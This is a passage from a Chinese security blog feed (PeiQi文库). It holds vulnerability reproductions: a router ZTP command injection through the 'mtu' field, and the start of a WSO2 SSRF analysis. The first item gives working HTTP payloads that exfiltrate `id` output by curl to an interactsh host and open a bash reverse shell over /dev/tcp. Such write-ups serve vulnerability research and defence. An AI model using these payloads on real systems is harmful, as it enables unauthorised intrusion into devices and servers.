26px;">&#39;firstDnsServer&#39;</span>] + <span style="color: #50a14f;line-height: 26px;">&#39; &#39;</span> + req[<span style="color: #50a14f;line-height: 26px;">&#39;mtu&#39;</span>]<br/>            <span style="color: #a626a4;line-height: 26px;">if</span> vlan_tagged == <span style="color: #50a14f;line-height: 26px;">&#39;1&#39;</span>:<br/>                cmdLine += <span style="color: #50a14f;line-height: 26px;">&#39; &#39;</span> + vlanid<br/>            cmdLine += <span style="color: #50a14f;line-height: 26px;">&#39; &gt;/dev/null 2&gt;&amp;1&#39;</span><br/>            <br/>        logging.info(<span style="color: #50a14f;line-height: 26px;">&#34;cmdLine = %s&#34;</span> % cmdLine)<br/>        <span style="color: #a626a4;line-height: 26px;">with</span> open(<span style="color: #50a14f;line-height: 26px;">&#34;/tmp/local_gui_write_flag&#34;</span>, <span style="color: #50a14f;line-height: 26px;">&#34;w&#34;</span>) <span style="color: #a626a4;line-height: 26px;">as</span> fout:<br/>            fout.write(<span style="color: #50a14f;line-height: 26px;">&#34;1&#34;</span>);<br/>        response = os.system(cmdLine) <br/>        logging.info(response)<br/>        <span style="color: #a626a4;line-height: 26px;">if</span> response != <span style="color: #986801;line-height: 26px;">256</span>:<br/>            logging.info(<span style="color: #50a14f;line-height: 26px;">&#34;cmd thread return error&#34;</span>)<br/>            reply = {<span style="color: #50a14f;line-height: 26px;">&#34;error&#34;</span>: <span style="color: #986801;line-height: 26px;">500</span>}<br/>        <span style="color: #a626a4;line-height: 26px;">else</span>:<br/>            logging.info(<span style="color: #50a14f;line-height: 26px;">&#34;cmd success!!&#34;</span>)<br/>            reply[<span style="color: #50a14f;line-height: 26px;">&#34;stdout&#34;</span>] = [{}]<br/>            reply[<span style="color: #50a14f;line-height: 26px;">&#34;stderr&#34;</span>] =<span style="color: #50a14f;line-height: 26px;">&#34;&#34;</span><br/>            <span style="color: #a626a4;line-height: 26px;">with</span> open(WAN_PORT_LAST_CHANGED, <span style="color: #50a14f;line-height: 26px;">&#34;w&#34;</span>) <span style="color: #a626a4;line-height: 26px;">as</span> fout:<br/>                fout.write(port)<br/>            <span style="color: #a626a4;line-height: 26px;">if</span> <span style="color: #a626a4;line-height: 26px;">not</span> os.path.exists(ztpinclude.PATH_WAN_MODIFIED_TO_CLOUD):<br/>                reply = {<span style="color: #50a14f;line-height: 26px;">&#34;error&#34;</span>: <span style="color: #986801;line-height: 26px;">500</span>, <span style="color: #50a14f;line-height: 26px;">&#34;exception&#34;</span>: <span style="color: #50a14f;line-height: 26px;">&#34;Cannot find data2cloud folder!&#34;</span>}<br/>            <span style="color: #a626a4;line-height: 26px;">with</span> open(ztpinclude.PATH_WAN_MODIFIED_TO_CLOUD + <span style="color: #50a14f;line-height: 26px;">&#39;local_wan_modified&#39;</span>, <span style="color: #50a14f;line-height: 26px;">&#39;a+&#39;</span>) <span style="color: #a626a4;line-height: 26px;">as</span> fout:<br/>                fout.write(port + <span style="color: #50a14f;line-height: 26px;">&#39; &#39;</span>)<br/>            <br/>    <span style="color: #a626a4;line-height: 26px;">except</span> Exception <span style="color: #a626a4;line-height: 26px;">as</span> e:<br/>        reply = {<span style="color: #50a14f;line-height: 26px;">&#34;error&#34;</span>: <span style="color: #986801;line-height: 26px;">500</span>, <span style="color: #50a14f;line-height: 26px;">&#34;exception&#34;</span>: e}<br/>   <br/>    <span style="color: #a626a4;line-height: 26px;">return</span> reply<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">从源码里可以看到拼接的参数为 <code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">mtu</code> , 随后直接 <code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">os.system</code> 命令执行</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="308" data-backw="457" data-ratio="0.6725925925925926" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1350" src="https://wechat2rss.xlab.app/img-proxy/?k=5d92c101&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4Dz4cabia4ln96vMy2Eia6YPNKY37zm29N5GqSLacXpcVWcshKXjW92mEfiaLYwqrmqUfZv7Idpib9Wg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">验证POC</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8Ey8nfSstJooxMRWiabg735xicOpyGroFMNFb3DB8zyT1r87H7lHDsPI4nrotvSz1iaHOkVY1KYl1WEZKfNeenBJmo/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;">POST /ztp/cgi-bin/handler HTTP/1.1<br/>Host: <br/>Content-Type: application/json<br/>{<span style="color: #50a14f;line-height: 26px;">&#34;command&#34;</span>:<span style="color: #50a14f;line-height: 26px;">&#34;setWanPortSt&#34;</span>,<span style="color: #50a14f;line-height: 26px;">&#34;proto&#34;</span>:<span style="color: #50a14f;line-height: 26px;">&#34;dhcp&#34;</span>,<span style="color: #50a14f;line-height: 26px;">&#34;port&#34;</span>:<span style="color: #50a14f;line-height: 26px;">&#34;4&#34;</span>,<span style="color: #50a14f;line-height: 26px;">&#34;vlan_tagged&#34;</span>:<span style="color: #50a14f;line-height: 26px;">&#34;1&#34;</span>,<span style="color: #50a14f;line-height: 26px;">&#34;vlanid&#34;</span>:<span style="color: #50a14f;line-height: 26px;">&#34;5&#34;</span>,<span style="color: #50a14f;line-height: 26px;">&#34;mtu&#34;</span>:<span style="color: #50a14f;line-height: 26px;">&#34;;curl `id`.c9y7h342vtc00002dwxggr9tukwyyyyyj.interact.sh;&#34;</span>,<span style="color: #50a14f;line-height: 26px;">&#34;data&#34;</span>:<span style="color: #50a14f;line-height: 26px;">&#34;hi&#34;</span>}<br/></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="178" data-backw="457" data-ratio="0.3896296296296296" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1350" src="https://wechat2rss.xlab.app/img-proxy/?k=8d952e91&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4Dz4cabia4ln96vMy2Eia6YPhlhKmgFSbia0Aj62LjCAqYaFAVYoUPNL2U90mfP4spzQFgicKhZPian9g%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">反弹Shell</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8Ey8nfSstJooxMRWiabg735xicOpyGroFMNFb3DB8zyT1r87H7lHDsPI4nrotvSz1iaHOkVY1KYl1WEZKfNeenBJmo/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;">POST /ztp/cgi-bin/handler HTTP/1.1<br/>Host: <br/>Content-Type: application/json<br/>{<span style="color: #50a14f;line-height: 26px;">&#34;command&#34;</span>:<span style="color: #50a14f;line-height: 26px;">&#34;setWanPortSt&#34;</span>,<span style="color: #50a14f;line-height: 26px;">&#34;proto&#34;</span>:<span style="color: #50a14f;line-height: 26px;">&#34;dhcp&#34;</span>,<span style="color: #50a14f;line-height: 26px;">&#34;port&#34;</span>:<span style="color: #50a14f;line-height: 26px;">&#34;4&#34;</span>,<span style="color: #50a14f;line-height: 26px;">&#34;vlan_tagged&#34;</span>:<span style="color: #50a14f;line-height: 26px;">&#34;1&#34;</span>,<span style="color: #50a14f;line-height: 26px;">&#34;vlanid&#34;</span>:<span style="color: #50a14f;line-height: 26px;">&#34;5&#34;</span>,<span style="color: #50a14f;line-height: 26px;">&#34;mtu&#34;</span>:<span style="color: #50a14f;line-height: 26px;">&#34;;bash -c &#39;exec bash -i &amp;&gt;/dev/tcp/xxx.xxx.xxx.xxx/9999 &lt;&amp;1&#39;;&#34;</span>,<span style="color: #50a14f;line-height: 26px;">&#34;data&#34;</span>:<span style="color: #50a14f;line-height: 26px;">&#34;hi&#34;</span>}<br/></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="220" data-backw="457" data-ratio="0.48148148148148145" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1350" src="https://wechat2rss.xlab.app/img-proxy/?k=584f429a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4Dz4cabia4ln96vMy2Eia6YP7MqCibV1X3hwOiaShxXrAvoZkrzVjNdibJUybgJ6F6JM9pcql0RcoiafibQ%2F640%3Fwx_fmt%3Dpng"/></figure></section><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><br/></figure><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">关注公众号</span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8Ey8nfSstJoo5ReI8nfGomjAiafFZH2zg17bbibELaPFxsroCVKx24wsIkb6J4qeibYfZqXhoia1NOaHGPEyicCGsxEO/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;">下面就是文库的公众号啦，更新的文章都会在第一时间推送在交流群和公众号<br/>想要加入交流群的师傅公众号点击交流群找WgpsecBot机器人拉你啦～<br/></code></pre><section class="mp_profile_iframe_wrp"><mpprofile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-id="MzIyMjkzMzY4Ng==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/4LicHRMXdTzDjy8pCtpvJKBibCLXQDm14MbdlTqXYESXADHkVpL6f81Z4TVFOGQMjBjgxPpUcYnzahRhibQUdcKzQ/0?wx_fmt=png" data-nickname="WgpSec狼组安全团队" data-alias="wgpsec" data-signature="WgpSec 狼组安全团队由几位热爱网络安全的年轻人一同组成过去的几年内没来得及让团队发生有效且质的变化这一次，为了我们的slogan：打造信息安全乌托邦。前进！" data-from="0"></mpprofile></section><section class="mp_profile_iframe_wrp"><mpprofile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-id="Mzg3NDU2MTg0Ng==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/ibicicIH182el4k7oncstuDUYBxrtzOqAW4oGso8T29V66MANjNbTib9AIdfGoxhxNMpEhYWG8x4PxK2Yfwq2j6S0w/0?wx_fmt=png" data-nickname="PeiQi文库" data-alias="PeiQi_wiki" data-signature="乌拉乌拉！" data-from="0"></mpprofile></section><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">支持作者</span></h2><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="201" data-backw="474" data-ratio="0.42394822006472493" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="618" src="https://wechat2rss.xlab.app/img-proxy/?k=8a077860&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6RVV2e7Iz0yrD7avmj6jvTcMBicTAqaLJky9ScIO4Rq2AI7GbNL471D07npjsanAH2s4iaZGM5L1tQ%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">关于文库</span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8Ey8nfSstJoo5ReI8nfGomjAiafFZH2zg17bbibELaPFxsroCVKx24wsIkb6J4qeibYfZqXhoia1NOaHGPEyicCGsxEO/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;">在线文库: <a href="http://wiki.peiqi.tech" target="_blank">http://wiki.peiqi.tech</a><br/>Github: <a href="https://github.com/PeiQi0/PeiQi-WIKI-Book " target="_blank">https://github.com/PeiQi0/PeiQi-WIKI-Book </a><br/></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="258" data-backw="474" data-ratio="0.5443322109988776" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="3564" src="https://wechat2rss.xlab.app/img-proxy/?k=98b9734f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6RVV2e7Iz0yrD7avmj6jvTz2mGLTWwwLW7B9Mib5XibKCWricFR6KaodRqLHwia5uPJgyxoQt4zT6e0g%2F640%3Fwx_fmt%3Dpng"/></figure></section>



<p><a href="http://wiki.peiqi.tech">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=2a37c6f9&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NDU2MTg0Ng%3D%3D%26mid%3D2247492860%26idx%3D1%26sn%3De4610dc077d940576e768cfedfc22258%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 13 May 2022 20:53:00 +0800</pubDate>
    </item>
    <item>
      <title>WSO2 proxy SSRF漏洞 WSO2-2019-0598</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&amp;mid=2247492787&amp;idx=1&amp;sn=188f27b204c2a8e3c2b7cfc9cd998524</link>
      <description>WSO2 proxy SSRF漏洞 WSO2-2019-0598</description>
      <content:encoded><![CDATA[<p>
原创 <span>PeiQi文库</span> <span>2022-04-26 15:45</span> <span style="display: inline-block;">湖北</span>
</p>

<p>WSO2 proxy SSRF漏洞 WSO2-2019-0598</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=6af73eed&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibicicIH182el6RVV2e7Iz0yrD7avmj6jvTATdm08ic8Z5MibwLpv0rbPibqg25004gYghRIFoKtG4l5FfzBNMJ1wrhQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" data-mpa-powered-by="yiban.io"><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="475" data-backw="474" data-ratio="1" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=4abfa1d2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6RVV2e7Iz0yrD7avmj6jvTzZgiav6umOmHgsWv4Hvh3zhgl0qJvSQKfNNic9ZKCRO7SX82jQiaNSHcw%2F640%3Fwx_fmt%3Dpng"/></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="202" data-backw="474" data-ratio="0.4257142857142857" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1050" src="https://wechat2rss.xlab.app/img-proxy/?k=e1f47ecb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6RVV2e7Iz0yrD7avmj6jvTQWO33O5iaK0xEwKqKryoZlC9yoDQIKgrmFGSWNL9EQWibxFkEvmZXsSg%2F640%3Fwx_fmt%3Dpng"/></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><br/></figure><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">漏洞描述</span><span></span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">滥用 shindig Web 应用程序的 UI 小工具加载功能可以利用此漏洞。攻击者可以更改请求中的特定 URL，从而导致服务器向更改后的 URL 发起 GET 请求。通过利用此漏洞，攻击者可以使用服务器执行任意外部服务交互。这可以特别用于与内部网络的节点进行交互，否则这些节点会被网络规则隐藏在外部。攻击者可以利用它来追踪和侦察网络，除此之外，如果有内部端点对 GET 请求进行状态更改操作，那么就有可能很好地破坏它们的完整性。根据端点实施的保护级别，此漏洞的影响可能会有所不同。</p><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">漏洞影响</span><span></span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">WSO2 Identity Server  5.2.0 , 5.3.0 , 5.4.0 , 5.4.1 , 5.5.0 , 5.6.0 , 5.7.0</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">WSO2 IS as Key Manager  5.3.0 , 5.5.0 , 5.6.0 , 5.7.0</p><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">环境搭建</span><span></span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;"><a href="https://github.com/wso2/product-is/releases/download/v5.6.0-rc3/wso2is-5.6.0-rc3.zip" target="_blank">https://github.com/wso2/product-is/releases/download/v5.6.0-rc3/wso2is-5.6.0-rc3.zip</a></p><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">漏洞复现</span><span></span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">根据官方描述，漏洞造成的原因主要是  shindig Web 应用程序的 UI 小工具的加载功能, WSO2-2019-0598</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="225" data-backw="457" data-ratio="0.490787269681742" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="3582" src="https://wechat2rss.xlab.app/img-proxy/?k=69ea307d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el42MfHwAqvykY6uOI6L9xlNDvcVlwiadqibwPSnurzVRxozGa9f21fbEiaMUDtSLP3XsjrT7XgiaianBCQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">下载源码启动环境，在IDEA中调试,</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="128" data-backw="457" data-ratio="0.27854195323246217" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="2908" src="https://wechat2rss.xlab.app/img-proxy/?k=96707e81&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el42MfHwAqvykY6uOI6L9xlN68CAY5Y9or8mpM9WibGse624ruTt2GM0wN4gXvicHQ5uO8j6zlVpD3Zw%2F640%3Fwx_fmt%3Dpng"/></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="286" data-backw="457" data-ratio="0.625" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="3584" src="https://wechat2rss.xlab.app/img-proxy/?k=221e894e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el42MfHwAqvykY6uOI6L9xlNlpVm1PXzNlAIXf73dALx0pmNZOcC15SicSiaZ9ZXoR4OVDb1ew3O64wA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">根据官方描述，在全局搜索 shindig 相关代码</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="267" data-backw="457" data-ratio="0.5838454784899034" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="2278" src="https://wechat2rss.xlab.app/img-proxy/?k=18f7feca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el42MfHwAqvykY6uOI6L9xlNibqyqkmo2RPDNy2kW3nVf7kaCNZIyVVMdxy4Wfbu9rw5ZkNCQEfC0Ng%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">打下断点，看一下访问 <code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">/shindig/gadgets/js</code> 路径时代码的调用流程</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="286" data-backw="457" data-ratio="0.625" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="3584" src="https://wechat2rss.xlab.app/img-proxy/?k=cce381f2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el42MfHwAqvykY6uOI6L9xlNdRG8KvxTLtIiacjUObmLBQ7T5e46jevXVeC1f4v1MtNhbYNGFsC9mRQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">可以看到当访问此路径时，调用了对应的 Servlet 下的 doGet方法 来处理<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">(org.apache.shindig.gadgets.servlet.JsServlet.doGet(JsServlet.java:86)</code></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="499" data-backw="457" data-ratio="1.0898379970544918" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1358" 